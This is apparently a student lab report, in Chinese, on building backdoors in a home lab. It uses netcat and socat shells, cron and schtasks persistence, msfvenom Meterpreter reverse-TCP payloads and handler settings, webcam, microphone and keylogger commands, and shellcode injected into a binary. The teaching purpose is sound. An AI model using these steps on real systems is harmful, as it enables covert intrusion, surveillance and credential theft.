1.實驗內容
(1)使用netcat獲取主機操作Shell,cron啟動某項任務
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
2.實驗過程
2.0關閉windows防火牆、實時保護
2.1使用netcat獲取主機操作Shell,cron啟動某項任務
2.1.1windows主機使用netcat並獲取shell
檢視windows主機ip(我是在兩個教室做的,所以有兩個IP地址):
第一次:
第二次:
windows主機監聽8888埠:
kali虛機連線主機8888埠並執行shell:
在主機輸入命令:
可以看到主機已成功獲取虛擬機器shell。
2.1.2透過設定cron使得kali啟動定時任務
因為Windows不能直接使用crontab -e遠端編輯,會報錯;
所以我們進入虛擬機器的虛擬機器的root賬戶,輸入crontab -e (執行文字編輯器來設定時程表),選擇的是2
輸入後進入文字編輯器,輸入指令並退出
同時在Linux主機中的/var/spool/cron/crontabs檔案中會出現一個root檔案。
在主機中輸入命令,寫入定時任務指令,並檢視時程表:
進入Linux虛擬機器進入對應路徑檢查檔案,發現修改成功。
定時任務執行成功!
2.2使用socat獲取主機操作Shell, 任務計劃啟動
2.2.1
主機使用socat監聽8888埠:
虛機連線主機8888埠:
可以看到虛機已經獲取到windows主機shell。
PS:這裡出現了亂碼,我看到了劉品源同學的實驗報告,成功解決了亂碼。
2.2.2透過命令列建立任務計劃,執行定時任務
編寫c程式並編譯為shiyan2.exe:
使用schtasks命令新增任務計劃,每分鐘執行一次編寫的程式:
回到windows主機,開啟任務計劃程式庫,看到正在執行的任務:
定時任務執行成功!
2.3使用MSF meterpreter生成可執行檔案(後門),利用ncat傳送到主機並執行獲取主機Shell
檢視虛機ip:
使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案中:
LHOST=192.168.117.129是shell連線的主機 IP 地址,是虛擬機器的IP地址;
LPORT=8888是監聽的埠號;
-f exe指定了生成的 payload 的格式,這裡是exe。
主機監聽8888視窗等待接收可執行檔案並將其存放在指定目錄下:
虛機將生成的後門檔案傳給主機:
可以看到檔案成功傳輸。
在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:
use exploit/multi/handler(使用監聽模組,設定payload)
set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)
set LHOST 192.168.117.129 (攻擊機的IP地址,和生成後門程式時指定的IP相同)
set LPORT 8888(監聽的埠)
輸入exploit,使監聽模組開始執行,並在Windows終端執行後門2221backdoor.exe檔案:
接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門2324backdoor.exe檔案
返回檢查虛擬機器,輸入ls檢視windows主機目錄。
確認已經連線。
2.4使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
在exploit模組中繼續輸入以下命令:
record_mic (音訊)
screenshot (截圖)
webcam_snap (拍照)
keyscan_start (開始讀取鍵盤記錄)
keyscan_dump (讀取鍵盤記錄結束)
2.4.1獲取目標主機音訊、截圖、攝像頭、鍵盤記錄
在exploit模組中繼續輸入以下命令
2.4.2提權
2.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
使用msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個20222324_pwn的檔案中:
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 型別。
LHOST=192.168.117.129:目標主機 IP ,這裡即虛擬機器IP地址。
LPORT=8888:設定 Meterpreter shell 使用的本地埠號為 8888。
-x /home/kali/Document/pwn1:指定一個可執行檔案作為模板,生成的 payload 將會注入到該檔案中。
-f elf:指定輸出檔案的格式為 ELF 格式,適用於 Linux 系統的可執行檔案格式。
輸入指令msfconsole,配置監聽過程並開啟另一個shell,新增20222324_pwn的許可權並執行
此時獲取反彈連線Shell:
3.問題及解決方案
1.在執行後門時,系統提示程式被佔用,無法執行。後面詢問了同學,重啟kali,再次執行backboor就可以了。
2.在任務二中,虛機連線主機8888埠,我出現了亂碼現象,後面看了劉品源的實驗報告,成功解決。
4.學習感悟、思考等
4.1問題回答
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
在盜版、第三方網站下載資源
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
Windows:登錄檔啟動:攻擊者可以修改登錄檔的啟動項,以使後門在系統啟動時自動執行
Linux:修改 Cron 任務:透過 cron 配置定時任務,使後門定期執行
(3)Meterpreter有哪些給你映像深刻的功能?
攝像頭訪問:當時拍照給我嚇了一跳。
鍵盤記錄:可以捕獲使用者的鍵盤輸入,可以獲得密碼。
(4)如何發現自己有系統有沒有被安裝後門?
使用安全工具掃描:使用防毒軟體或專業安全工具進行系統掃描,查詢潛在的後門程式
檢查啟動項和服務
4.2實驗感悟
在這次實驗中,我可以使用netcat和socat獲取主機操作Shell,並新增cron定時任務、使用schtasks命令新增任務計劃,來遠端執行程式。同時我也認識隱私洩露與許可權竊取的風險之大,所以我們要增強我們的網路安全意識。